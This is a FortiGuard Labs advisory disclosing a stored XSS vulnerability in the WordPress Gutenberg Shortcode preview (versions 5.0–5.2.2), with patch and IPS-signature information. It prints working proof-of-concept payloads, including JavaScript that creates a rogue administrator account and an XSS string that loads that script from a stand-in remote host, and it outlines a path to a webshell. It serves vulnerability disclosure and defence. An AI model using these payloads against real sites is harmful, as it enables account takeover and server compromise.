FortiGuard Labs Breaking Threat Research
Overview
WordPress is the world’s most popular Content Management System (CMS). It has 60.4% of the global CMS market share, which is far higher than the second-place Joomla!, which only has 5.2% of the market share. As a result, over a third of all of the websites on the Internet were built using WordPress.
The FortiGuard Labs team recently discovered a stored Cross-Site Scripting (XSS) zero-day vulnerability in WordPress. This XSS vulnerability is caused by the new built-in editor Gutenberg found in WordPress 5.0. The editor fails to filter the JavaScript/HTML code in the Shortcode error message. This allows a remote attacker with Contributor or higher permission to execute arbitrary JavaScript/HTML code in the browser of victims who access the compromised webpage. If the victim has high permission, such as an administrator, the attacker could even compromise the web server.
This stored XSS vulnerability affects WordPress versions from 5.0 to 5.2.2.
Analysis
In WordPress 5.0, users can add Shortcode blocks to a post. When adding certain HTML encoded characters like “<” to the Shortcode block and then re-opening this post, it shows an error message and previews it by decoding the “<” to “<”.
Figure 1. Inserting HTML encoded characters into a Shortcode block
Figure 2. A Shortcode error message with preview
The XSS filter in this preview can be easily bypassed with the PoC “"><img src=1 onerror=prompt(1)>”.
Figure 3. Inserting PoC code into the Shortcode block
When any victim views this post, the XSS code will be executed in their browser.
Figure 4. WordPress Shortcode Preview XSS
If the victim happens to have admin rights, the criminal could then exploit this vulnerability to gain control of the administrator’s account, leverage the WordPress built-in function to GetShell, then take control of the server.
For example, the attacker could host JavaScript file, such as wpaddadmin[.]js (described in the link), on their webserver. This JavaScript code will add a WordPress administrator account with the username “attacker” and password “attacker”.
- // Send a GET request to the URL '/wordpress/wp-admin/user-new.php', and extract the current 'nonce' value
- var ajaxRequest = new XMLHttpRequest();
- var requestURL = "/wordpress/wp-admin/user-new.php";
- var nonceRegex = /ser" value="([^"]*?)"/g;
- ajaxRequest.open("GET", requestURL, false);
- ajaxRequest.send();
- var nonceMatch = nonceRegex.exec(ajaxRequest.responseText);
- var nonce = nonceMatch[1];
- // Construct a POST query, using the previously extracted 'nonce' value, and create a new user with an arbitrary username / password, as an Administrator
- var params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login=attacker&email=attacker@site.com&pass1=attacker&pass2=attacker&role=administrator";
- ajaxRequest = new XMLHttpRequest();
- ajaxRequest.open("POST", requestURL, true);
- ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
- ajaxRequest.send(params);
The attacker could then insert the JavaScript using the following PoC.
“"><img src=1 onerror="javascript:(function () { var url = 'http://aaa.bbb.ccc.ddd/ wpaddadmin.js';if (typeof beef == 'undefined') { var bf = document.createElement('script'); bf.type = 'text/javascript'; bf.src = url; document.body.appendChild(bf);}})();">”
Figure 5. Inserting XSS code to add an administrator account
Once a victim with high permission views this post, the administrator account “attacker” will be created.
Figure 6. XSS code is executed
Figure 7. The “attacker” account with administrator permission created by the XSS code
The attacker could then modify an existing php file to a webshell and use the webshell to take control of the webserver.
Figure 8. Adding a web shell with the attacker’s account
Figure 9. Taking control of the webserver
Solution
FortiGuard Labs contacted WordPress about this zero-day discovery, and they have issued a patch. All users of vulnerable versions of WordPress are encouraged to upgrade to the latest WordPress version or apply the latest patches immediately.
Additionally, organizations that have deployed Fortinet IPS solutions are already protected from this vulnerability with the following signature:
WordPress.Shortcode.Preview.XSS